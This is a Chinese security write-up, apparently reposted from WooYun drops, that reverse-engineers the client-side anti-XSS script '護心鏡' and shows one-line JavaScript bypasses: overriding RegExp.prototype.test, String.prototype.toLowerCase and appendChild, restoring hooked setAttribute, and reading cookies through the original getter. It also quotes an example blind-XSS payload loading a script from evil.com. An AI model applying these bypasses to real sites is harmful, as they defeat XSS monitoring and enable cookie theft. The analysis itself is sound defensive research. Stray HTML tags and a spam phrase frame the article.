<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/web/10636

            0x00 初識“護心鏡”


            官方介紹:

            通過Hook XSS的常用函數,并監控DOM元素的創建,從而對整個頁面的js行為進行監控。當發現頁面中存在XSS攻擊行為時,可根據預置的選項,進行放行,提醒用戶選擇,阻攔三種處理方式,同時預警中心會收到一次事件的告警,安全人員可根據告警進行應急響應處理。

            在研究如何繞過一個系統之前,不急于直接讀代碼,先旁敲側擊看看這個系統大體都做了什么。

            官方介紹中,在腳本加載前,需要執行一堆配置代碼:

            #!html
            <script type="text/javascript">
            var hxj_config = {
                project_key: "*****(平臺分配)",
                domain_white: ["0kee.#"],
                enable_plugin: {
                  cookie: 1,
                  xsstester: 1,
                  password: 1,
                  fish: 1,
                  webshell: 1,
                  script: 1
                }
            };
            </script>
            <script type="text/javascript" src="http://res.0kee.com/hxj.min.js"></script>
            

            project_key” 不用說就是一個標識站點的key,“domain_white”和名字一樣:白名單, 而“enable_plugin”表示了各個模塊的開關。

            通過http://res.0kee.com/hxj.min.js下載腳本,發現經過uglify-js的混淆壓縮,將代碼進行美化后對代碼進行分析。

            由于代碼經過混淆,直接開看想必會有困難,在看代碼之前,本想根據配置里的6大模塊逐個分析,結果幸運的是,這個腳本并沒有對自定屬性名進行混淆,呈現如下:

            #!js
            ...
            }, s.Hook_CreateElement = function...
            }, s.Hook_Image = function...
            }, s.Hook_Source = function...
            ...
            

            根據屬性名+配置文件的模塊,可以看出護心鏡主要實現了以下幾個功能:

            1. 對 XSS 經常用到的函數進行 HOOK,將傳遞進來的變量進行分析,是否有危險
            2. 對頁面中 JS 執行的代碼進行“行為標記”
            3. 加載外部資源時對域名進行白名單校驗
            4. 對危險行為產生報告向護心鏡后臺發送
            5. 觸發 XSS 或者加載外部 JS 時提示用戶,是否進行攔截
            

            舉個例子:當一個 XSSer 對某后臺進行盲打時,嵌入了一串代碼:

            #!html
            <script src=//evil.com/evil.js></script>
            

            當管理員登錄后臺時候觸發了這串代碼,由于加載了“evil.com”這個未知域名的 js 腳本,護心鏡彈出危險警告,在用戶確認后對腳本進行阻攔。

            從之后的代碼分析中了解,HOOK 函數實現了以下功能:

            模塊 功能
            Hook_CreateElement 對 CreateElement 方法進行 Hook
            Hook_Image 對Image對象產生的實例進行 Setter 和 Getter 的 Hook
            Hook_Source 對頁面 DOM 進行監控,對新生成的標簽進行來源檢測
            Hook_Attribute 對元素的 setAttribute 方法進行 Hook
            Hook_Element 對元素的 Setter 和 Getter 進行 Hook
            Hook_Cookie 對 Cookie 的讀寫接口進行了 Hook
            Hook_Xsstester 對常見的 alert、prompt 方法等進行 Hook
            Hook_CSRFWebshell 對通過 CSRF 上傳 Webshell 進行攔截
            Send 對護心鏡接口發送報告

            0x02 快速尋找通殺之法


            掃一遍代碼,發現每個模塊都有相應的弱點,但在那之前,

            每個人都想知道快速通殺所有模塊的方法,那么如何快速找到通殺方法?

            最好的方式是看看他們有什么共通點:

            (由于只有4個模塊涉及攔截,那么就看看他們是怎么實現的)

            + Hook_CreateElement
              1. 重寫document.createElement
              2. 重寫createElement創建元素的setter和getter
              3. 對Setter進行tag(標簽)匹配,然后通過Check_domain進行白名單匹配
              4. 通過confirm通知,確定是否攔截
            + Hook_Image
              1. 重寫Image
              2. 重寫new Image 對象的getter和setter
              3. Check_domain白名單匹配
              4. 通過confirm通知,確定是否攔截
              5. 若不攔截:通過this.setAttribute實現 Setter 的賦值
            + Hook_Source
              1. 通過 MutationObserver 對 DOM 進行監聽
              2. 一旦 DOM 發生變化,對新增 Nodes(節點)進行校驗
              3. 通過tag匹配和Check_domain白名單匹配
              4. 通過confirm通知,確定是否攔截
              5. 若攔截則刪除該節點,否則放行
            + Hook_CSRFWebshell
              1. 重寫 XMLHttpRequest.prototype.send
              2. 正則匹配白名單
              3. 通過confirm通知,確定是否攔截
            

            第一眼能看到的共同點就是最后一步:通過confirm彈出通知框,讓用戶選擇是否攔截。

            假若直接重寫confirm,使其永遠都彈不出這個框,攔截自然也不會生效了!我們來試試:

            #!js
            Window.prototype.confirm = function () {return !1}
            

            ...遺憾的是,并沒有成功改寫,看來護心鏡還是做過一些防繞過的。

            這不經讓人想到 defineProperty 這個方法。

            果然,在腳本最后看到了這樣一個方法s.defConstProp(window, "confirm", confirm)

            看看 defConstProp 定義:

            s.defConstProp = s.isWebkit ?
            function(e, t, n) {
              Object.defineProperty(e, t, {
                value: n,
                configurable: !1,
                writable: !1,
                enumerable: !0
              })
            } : function(e, t, n) {
              e[t] = n
            };
            

            通過 Object.definePropertyconfirm 進行了 writeable = false 的設置,這樣一來便無法重寫 confirm 了。

            由于腳本中僅僅是對 window 的變量 confirm 進行重寫,按理我們可以通過修改原型鏈上的 Window.prototype.confirm ,繼而刪除 window.confirm, 也可以達到同樣的效果,但注意到 configurable 這個參數也是 false,也無法執行delete confirm了。

            既然如此,只好另辟蹊徑了。

            我們來看看他們的第二個共同點:都經過一層字符串合法校驗。

            Hook_CreateElementHook_ImageHook_Source 這三個模塊中,都使用了 Check_domain 這個函數來檢驗 url 是否在白名單內

            來看看 Check_domain 的定義:

            #!js
            s.Check_domain = function(e) {
              var t, n = !1;
              e = e.replace(/\s/g, ""), e = e.toLowerCase();
              if (e == s.white_tag || e.indexOf("://") == -1 || e.indexOf("chrome-extension://") == 0) return n = !0, n;
              for (var r = 0; r < s.domain_white.length; r++) {
                if (s.domain_white[r] == "" || s.domain_white[r].match(/[\!\@\#\$\%\^\&\?\>\<\|\{\}\[\]\(\)]/i)) continue;
                t = new RegExp("^http(|s)://([0-9a-zA-Z\\.]*\\.|)" + s.domain_white[r].replace(/\./g, "\\.").replace(/\-/g, "\\-") + "(/|\\?|:\\d{0,5})", "i");
                if (t.test(e)) {
                  n = !0;
                  break
                }
              }
              return n
            }
            

            可以看到使用了 RegExp 的 test 方法進行了正則匹配,再看看 Hook_CSRFWebshell 這個模塊:

            #!js
            s.prototype.Hook_CSRFWebshell = function(e) {
              if (!XMLHttpRequest) return;
              var t = ["CSRF_WEBSHELL", "CSRF_WEBSHELL:"];
              s.CSRFWEBSHELL_alert_level = e, XMLHttpRequest.prototype.send = function(e) {
                for (i in s.webshell_black) {
                  var n = new RegExp(s.webshell_black[i], "i");
                  if (n.test(unescape(e))) {
                    s.Report_w(t[0]), s.Report_w(t[1]), s.Report(e.match(n)[0]);
                    if (s.CSRFWEBSHELL_alert_level == 0) {
                      s._ajaxsend.call(this, e);
                      return
                    }
                    if (s.CSRFWEBSHELL_alert_level == 1 && !confirm("護心鏡檢測到網頁正在向服務器上傳危險文件(webshell),是否攔截?")) {
                      s._ajaxsend.call(this, e);
                      return
                    }
                  }
                }
                s._ajaxsend.call(this, e)
              }
            }
            

            首先重寫了XMLHttpRequest原型對象的send方法,接著還是使用 RegExp.test 進行正則匹配。

            如此,只要重寫 RegExp 的 test 方法,使其永遠返回 false,那么這些攔截代碼就會全部失效了:

            #!js
            RegExp.prototype.test = function(){return !1}
            

            這就是第一種繞過方式,僅一行代碼,就讓“【永別了,XSS攻擊!】”的護心鏡徹底失效了,看來想要根治 XSS 還任重道遠。

            當然了如果自己想要使用 test 方法的話,事先應該將該方法保存一下。

            如果在繞過護心鏡的同時,又不想破壞網站業務代碼(畢竟 RegExp 經常被用到),那么可以擴充一下:

            #!js
              _test = RegExp.prototype.test;
              RegExp.prototype.test = function (n) {
                n.slice(0, 4) === 'evil' && return _test.call(this, n);
                return !1;
              }
            }
            

            這樣可以實現自定義規則對內容是否放行。

            同樣,在 Hook_CreateElementHook_ImageHook_Source 這三個模塊中,在進行白名單校驗前, 會對 tag (html標簽名:script、iframe等)進行匹配,若匹配不成功,則不會進入報警攔截流程, 代碼如下(以Hook_Source為例):

            #!js
            if (o.src || o.href || o.data)
              if (o.tagName 
                && (o.tagName.toLowerCase() == "frame"
                  || o.tagName.toLowerCase() == "iframe"
                  || o.tagName.toLowerCase() == "link"
                  || o.tagName.toLowerCase() == "object"
                  || o.tagName.toLowerCase() == "embed"
                  || o.tagName.toLowerCase() == "img"
                  || o.tagName.toLowerCase() == "source"
                  || o.tagName.toLowerCase() == "video")) {
                //進入攔截流程...
              }
            

            和劫持 RegExp 的做法相似,通過對 toLowerCase 方法的劫持,使其永遠匹配不上正確的標簽名,能達到同樣的效果:

            #!js
            String.prototype.toLowerCase = function () {
              return 'never';
            }
            

            此為第二種繞法。

            除了這四個攔截模塊之外,還有 Hook_Cookie 等其他幾個模塊,這幾個模塊主要作用是記錄最近的操作狀態, 用于攔截模塊對攻擊進行分類,舉個例子:

            1. 當檢測到有 Cookie 讀取操作,最近狀態列表中添加“讀cookie操作”
            2. 當 Image().src 向外部發送數據時,如果最近狀態有“讀cookie操作”,歸類為偷取cookie行為
            

            逐個擊破小模塊

            除去以上的通殺方法,接下來看看如何用其他方法將這一個個模塊逐個擊破

            1. 突破Hook_Element:其人之道還治其身

            #!js
            s.Hook_Element = function(e, t, n, r, i) {
              var o = ["FISH", "GET_PWD"];
              Object.defineProperty(e, t, {
                get: function() {
                  return s.log("Get Attr"), (n == "R" || n == "RW" || n == "WR") && r(i), this.getAttribute(t)
                },
                set: function(e) {
                  return s.log("Set Attr"), (n == "W" || n == "RW" || n == "WR") && r(i, e), this.setAttribute(t, e)
                }
              })
            }
            

            可以看到該函數可以重寫元素的 set 和 get,并將行為記錄,最后通過 get/setAttibute 的方法來實現,那么順著腳本作者的方法, 通過 get/setAttibute 方法可直接繞過此類 Hook,這樣的 Hook 在 Image_Hook 里也出現過。

            2. 突破Hook_Cookie:更高效的讀寫Cookie

            #!js
            s.prototype.Hook_Cookie = function(e) {
              var t = ["GET_COOKIE", "SET_COOKIE"];
              s.Cookie_alert_level = e, Object.defineProperty(document, "cookie", {
                get: function() {
                  s.Report(t[0]);
                  var e = document.createElement("iframe");
                  e.src = s.white_tag, document.documentElement.appendChild(e), e.contentDocument.write("null");
                  var n = e.contentDocument.cookie;
                  return document.documentElement.removeChild(e), n
                },
                set: function(e) {
                  s.Report(t[1]);
                  var n = document.createElement("iframe");
                  return n.src = s.white_tag, document.documentElement.appendChild(n), n.contentDocument.write("null"), n.contentDocument.cookie = e, document.documentElement.removeChild(n), e
                }
              })
            }
            

            從代碼中可以看出,使用了從 iframe 中讀寫 Cookie 來實現 鉤子函數中的 cookie 操作,和第一個鉤子的繞過方式相同,

            直接利用作者的方法,使用 iframe 操作 cookie 就可以繞過鉤子函數了(事實上,經常可以護心鏡自己的代碼邏輯繞過自身)。

            當然了,這么寫及其影響頁面性能,使用了護心鏡后,每一次有關 cookie 的操作都要在頁面中創建 iframe、刪除 iframe,不斷如此。

            其實可以通過如下方法直接獲取 cookie 的讀寫接口:

            #!js
            Document.prototype.__lookupGetter__('cookie');
            Document.prototype.__lookupSetter__('cookie');
            

            3. 突破Hook_Attribute:原始接口招之即來

            #!js
            s.prototype.Hook_Attribute = function() {
                var e = ["setAttrib", "getAttrib", "FISH", "GET_PWD", "IMG.SRC:"];
                window.Element.prototype.setAttribute = function(t, n) {
                  if (!isNaN(n) || n == s.white_tag || n.indexOf(s.report_uri) == 0 || n.indexOf(s.report_times_uri) == 0) {
                    s._setAttribute.call(this, t, n);
                    return
                  }
                  s.Report_w(e[0]), s.log("setAttrib"), s.log(n);
                  if (this.tagName && t == "type" && this.tagName.toLowerCase() == "input") s.log("modify type"), s.Report_w(e[3]);
                  else if (this.tagName && t == "src") {
                    if (this.tagName.toLowerCase() == "img")
                      s.log("SET SRC:" + n),
                      n.indexOf("?") > 0 && !s.Check_domain(n) && n.split("?")[1].length > s.cookie_maxlen && s.Report(n);
                  }
                  else if (this.tagName.toLowerCase() == "frame" || this.tagName.toLowerCase() == "iframe") s.log("Frame src:" + n), s.Report_w("M_IFRAME_SRC");
                  s._setAttribute.call(this, t, n)
                }, window.Element.prototype.getAttribute = function(t) {
                  return s.log("getAttrib"), s.Hookpwd_tag && this.tagName && t == "value" && this.tagName.toLowerCase() == "input" && (s.log("getattr pwd"), s.Report_w(e[3])), s._getAttribute.call(this, t)
                }
            

            將setAttibute方法重寫了,可以看到代碼中不斷出現toLowerCaseCheck_domain(你懂得),當然我們可以把原始接口再一次拿出來,

            覆蓋當前被 Hook 的 setAttribute 和 getAttibute。

            #!js
            Function.prototype.call = function () {
              if (this.name === 'setAttribute')
                HTMLElement.prototype.setAttribute = this;//還原了原始接口setAttribute
              else if (this.name === 'getAttribute')
                HTMLElement.prototype.getAttribute = this;//還原了原始接口getAttribute
            }
            

            這樣就能獲得純天然無公害的 setAttributegetAttribute 了 :)

            4. 突破Hook_Xsstester:媽媽再也不用擔心我到處 alert 了

            #!js
            s.prototype.Hook_Xsstester = function() {
              function t(e) {
                if (typeof e == "object") return !0;
                var t = new RegExp("(^(\\d)*$|^xss$|[[\\w\\_\\-\\|\\.\\%]*=[\\w\\_\\-\\|\\.\\%]*\\;]*|" + location.href + "|" + document.domain + "|" + document.cookie + ")", "i");
                return t.test(e)
              }
              var e = "XSS_TEST:";
              alert = function(n) {
                return t(n) && (s.log("XSS Test:alert"), s.Report_w(e), s.Report(escape(n))), s._alert.call(this, n)
              }, confirm = function(n) {
                return n.indexOf("護心鏡") > -1 ? s._confirm.call(this, n) : (t(n) && (s.log("XSS Test:confirm"), s.Report_w(e), s.Report(escape(n))), s._confirm.call(this, n))
              }, prompt = function(n) {
                return t(n) && (s.log("XSS Test:prompt"), s.Report_w(e), s.Report(escape(n))), s._prompt.call(this, n)
              }
            }
            

            Xsstester 就是用于記錄 Xsser 常用的 alert、prompt 等測試方法的,原理同樣是重寫了這兩個函數。

            但是護心鏡這里出現了兩個重大失誤,沒有考慮到以下兩個常見情況:

            1. alert(/xss/),Xsser 常用正則進行測試
            2. alert('test'),Xsser 用自定字符串進行測試

            至于繞過,其實繞過 Xsstester 很簡單,由于重寫了 window.alert 等函數,通過原型鏈上的 alert 可以輕易獲取和還原原始方法。

            #!js
            Window.prototype.alert;
            

            5. 突破Send: 阻止發送一切報告

            #!js
            s.Send = function(e) {
              var t = e,
                n = "xHxOxOxKx";
              t = s.report_uri + "?f=" + escape(t), t = t + "&id=" + s.user_token, t = t + "&callback=" + s.callback_name;
              if (document.body) {
                document.getElementById(n) && document.getElementById(n).parentElement.removeChild(document.getElementById(n));
                var r = document.createElement("script");
                r.src = t, r.id = n, document.body.appendChild(r)
              } else window.onload = new function() {
                document.getElementById(n) && document.documentElement.removeChild(document.getElementById(n));
                var e = document.createElement("script");
                e.src = t, e.id = n, document.documentElement.appendChild(e)
              }
            }
            

            代碼中使用創建 script 來發送報告,那么重寫 appendChild 就可以阻擋發送報告了:

            #!js
            HTMLElement.prototype.appendChild = function (){return !1}
            

            當然,實際使用最好不要這么簡單粗暴(容易誤傷正常代碼),稍微潤色一下無傷大雅。

            0x03 總結


            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线